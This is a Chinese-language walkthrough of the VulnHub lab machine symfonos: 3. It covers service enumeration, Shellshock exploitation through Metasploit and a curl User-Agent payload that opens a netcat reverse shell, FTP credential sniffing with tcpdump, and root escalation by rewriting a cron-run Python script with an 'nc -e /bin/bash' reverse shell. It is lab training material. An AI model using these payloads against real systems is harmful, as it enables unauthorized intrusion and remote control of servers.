星球优秀成员作品 | 『VulnHub系列』symfonos: 3-Walkthrough

靶机地址:

https://www.vulnhub.com/entry/symfonos-3,332/

难度:中等难度 靶机发布日期:2019年7月20日 靶机描述:

Intermediate real life based machine designed to test your skill at enumeration. If you get stuck remember to try different wordlist, avoid rabbit holes and enumerate everything thoroughly. SHOULD work for both VMware and Virtualbox.
For hints you’re welcome to contact me via Twitter @zayotic

工具、知识点和漏洞

netdiscover
nmap
dirbuster
pspy
tcpdump
metasploit
curl
wireshark

0x00、信息收集

靶机IP:192.168.0.110

netdiscover -r 192.168.0.0/24

端口和服务

nmap -sS -sV -T4 -A -p- 192.168.0.110

页面、目录枚举

dirb http://192.168.0.110 -X .php,.txt,.zip,.html
python3 dirsearch.py -u http://192.168.0.110 -e .php,.txt,.zip,.html
gobuster dir -u http://192.168.0.110 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip

http://192.168.0.110/

http://192.168.0.110/gate/

target设置为http://192.168.0.110/尝试了不同的字典,发现的结果只有index.html和/gate

  • /usr/share/wordlists/dirb/*
  • /usr/share/wordlists/dirbuster/*

随后将目标更改为http://192.168.0.110/gate/,使用字典

/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

真有点十八层地狱(underworld)的意思,不可能再往下扫了,不带这么变态的

工具换成dirbuster,字典还是用

/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

每次扫描到/cgi-bin/underworld就暂停了,可能线程数太多了……所以直接将目标设为http://192.168.0.110/cgi-bin/

访问http://192.168.0.110/cgi-bin/underworld/login.php

下图是我在kali里面执行uptime命令的结果,是不是跟上图中的格式一模一样。如果是个老司机,应该可以直接得出靶机可能有shellshock漏洞的结论,可是我不是老司机……哈哈哈

依次访问如下页面,均得到类似的结果

http://192.168.0.110/cgi-bin/underworld/article.php
http://192.168.0.110/cgi-bin/underworld/support.php
http://192.168.0.110/cgi-bin/underworld/2.php

关于shellshock漏洞我看了这几篇文章

l3m0n大师傅:CVE-2014-6271破壳(shellshock)漏洞复现记录
https://www.cnblogs.com/iamstudy/articles/CVE-2014-6271_shellshock.html
嘶吼:metasploit模块可以利用shellshock漏洞getshell
https://www.4hou.com/vulnerable/12984.html
Freebuff:破壳漏洞(CVE-2014-6271)综合分析:“破壳”漏洞系列分析之一
https://www.freebuf.com/news/48331.html
Freebuff:破壳漏洞(CVE-2014-6271)综合分析:“破壳”漏洞系列分析之二
https://www.freebuf.com/articles/system/48357.html

0x01、shellshock漏洞getshell

使用MSF的exploit

第一种方式是使用MSF提供的exploit

msfconsole
search shellshock
use exploit/multi/http/apache_mod_cgi_bash_env_exec
show options
set rhosts 192.168.0.110
set targeturi /cgi-bin/underworld
exploit

curl发送请求getshell

第二种方式是使用curl将bash命令作为特殊请求的User-Agent进行传递,实际上nc反弹shell的命令是由Bash执行的。 首先,kali上使用nc监听端口;

nc -nlvp 1234

然后,使用curl发送特殊请求

curl -A "() { :; }; /bin/bash -c 'nc 192.168.0.108 1234 -e /bin/sh'" http://192.168.0.107/cgi-bin/underworld

至于为什么可以反弹桑shell,这里借用嘶吼上的一篇文章的解释(就是上面我看的那一篇):

运行CGI脚本时,会将特定信息复制到环境变量中。如果被调用,该信息将随后传递给Bash,从而为攻击者提供了一种注入恶意代码的方法。

0x02、提权

关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py

https://github.com/sleventyeleven/linuxprivchecker

或者手工提权

https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html

先在kali上开启HTTP服务

python -m SimpleHTTPServer 65534

使用wget下载linuxprivchecker.py脚本到靶机的tmp目录

因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

为了便于查看收集到的信息,我将结果输出到report.txt文本中

python linuxprivchecker.py > report.txt

靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。

我这里直接手动进行信息收集,下面是过程:

查看/etc/passwd中有哪些用户

  • hades
  • cerberus

查找SUID权限的可执行文件,没有发现可用于提权的可执行文件

find / -perm -u=s -type f 2>/dev/null

查找全局用户可写文件,无

find / -wirteable -type f 2>/dev/null

查找计划任务。主要是看看有没有高权限用户的计划任务脚本,并且当前用户拥有脚本的写权限。

查看当前用户可执行的sudo权限命令

sudo -l

查看内核版本,也许可以直接内核提权,但这里是没有的

上面几个都试过了之后还是没有什么发现,基本上就要去目录中“扫荡”了

查看了/home目录下的两个用户文件夹,没有什么发现

/tmp目录下发现了一个ELF可执行文件ykdwB,要是分析这个可执行文件那就难为我了,本来想使用strings ykdwB看看有没有什么字符串打印出来,结果提示strings: command not found,果断放弃了……

手工信息收集无果,那我们就上脚本。执行linuxprivchecker.py脚本后,对得到的结果进行查看,发现了以下信息: 安装的软件exim4 4.89-2 正在运行的进程proftpd

使用searchsploit搜索exim 4.89,只发现一个DoS攻击的exploit;正在运行的进程是proftpd,也许可以嗅探一下。

这里先介绍另一个工具pspy,Github地址:

https://github.com/DominicBreuker/pspy
pspy是一种命令行工具,旨在无需根权限就可以窥探进程。它使您可以查看其他用户执行的命令,cron作业等。非常适合枚举CTF中的Linux系统。很好地向您的同事展示为什么在命令行中将秘密作为参数传递是一个坏主意。
该工具从procfs扫描中收集信息。 放置在文件系统选定部分上的Inotify观察程序将触发这些扫描,以捕获短暂的进程。
使用方法(Google翻译)

-p:启用将打印命令输出到标准输出(默认启用)
-f:启用将文件系统事件打印到stdout(默认情况下禁用)
-r:Inotify要监视的目录列表。pspy将递归地监视所有子目录(默认情况下,监视/ usr,/ tmp,/ etc,/ home,/ var和/ opt)。
-d:Inotify要监视的目录列表。pspy将仅监视这些目录,而不监视子目录(默认情况下为空)。
-i:两次procfs扫描之间的间隔(以毫秒为单位)。pspy会定期扫描新进程,而不考虑Inotify事件,以防万一未收到某些事件。
-c:以不同的颜色打印命令。文件系统事件不再着色,根据进程UID,命令具有不同的颜色。
–debug:打印详细的错误消息,否则将隐藏它们。

从上图中可以看出ftpclient.py脚本正在运行,且UID=0,也就是说是脚本是以root权限运行,记住这里后面会用到。尝试访问ftpclient文件夹,发现权限不足。从脚本的命名来看,这个脚本的作用可能是向ftp服务发送数据。注意这里是可能,因为我们不知道脚本的具体代码是什么,所以只能给出一个猜测。

接下来的这一步操作是嗅探,我是看了老外的Walkthrought,以我现在的知识面还想不到用这招儿。每次到了不得不看老外的Walkthrough的时候,我总是努力去理解他们是怎么想到用某种方法的,他们是从哪一步到这一步的,依据是什么?是经验?还是发现了什么其他的信息,但又因为过于简单而没有把这个信息写出来?之前也看过一些大佬写的关于CTF方面的writeup,跳跃性真的很强,缺少众多细节的展现。我并没有吐槽的意思,真的。我尝试过去理解这样的做法,目前的能想到就是这么几点:第一,节省时间。写东西可能真的只是给自己看的;第二,不想做重复劳动;第三,假设了看writeup的人已经具备了必要的知识背景,所以有些东西没有写出来。

言归正传。之前在查看linuxprivchecker脚本执行结果的时候发现靶机上已经安装了tcpdump,我们就用这个工具来尝试抓取数据,因为ftp协议是明文传输的,如果我们可以抓取到ftp连接的数据,那么就可以得到用户名密码了。

tcpdump需要指定需要抓住哪个网络接口的数据。获取网络接口(Network Interfaces)的方式如下:

  • ifconfig
  • ip link show
  • netstat -i
  • nmcli device status

有两个网络接口,该用哪一个?这里可以使用tcpdump -D,然而发现两个都在运行

一番搜索之后,得到了如下的结果

网络接口lo是loopback状态的,我们就抓取流过这个网络接口的数据包了。抓包时长7分钟

在靶机上使用python开启HTTP服务,将ftp.pcap下载到kali使用wireshark进行分析

用wireshark打开pcap包,过滤器中输入tcp.port == 21,然后选中下方一条记录,右键–>跟踪(Follow)–>TCP流(TCP Stream),发现ftp用户名和密码

使用hades/PTpZTfU4vxgzvRBE登录SSH,还记得之前的ftpclient.py脚本吗?我们使用pspy的时候发现这个脚本是root权限运行的(UID = 0),如果hades用户拥有该脚本的写入权限,那么我们就可以提权了。查看ftpclient.py脚本的权限设置

使用nano或vim修改ftpclient.py脚本。我这里使用的是nano,使用方法可以搜索一下。内容如下:

import sys
import os

os.system("nc -e /bin/bash 192.168.0.108 1234")

kali上监听1234端口,等待脚本的自动执行

本文分享自微信公众号 - 小白帽学习之路(bat7089)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-10-17

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

扫码关注云+社区

领取腾讯云代金券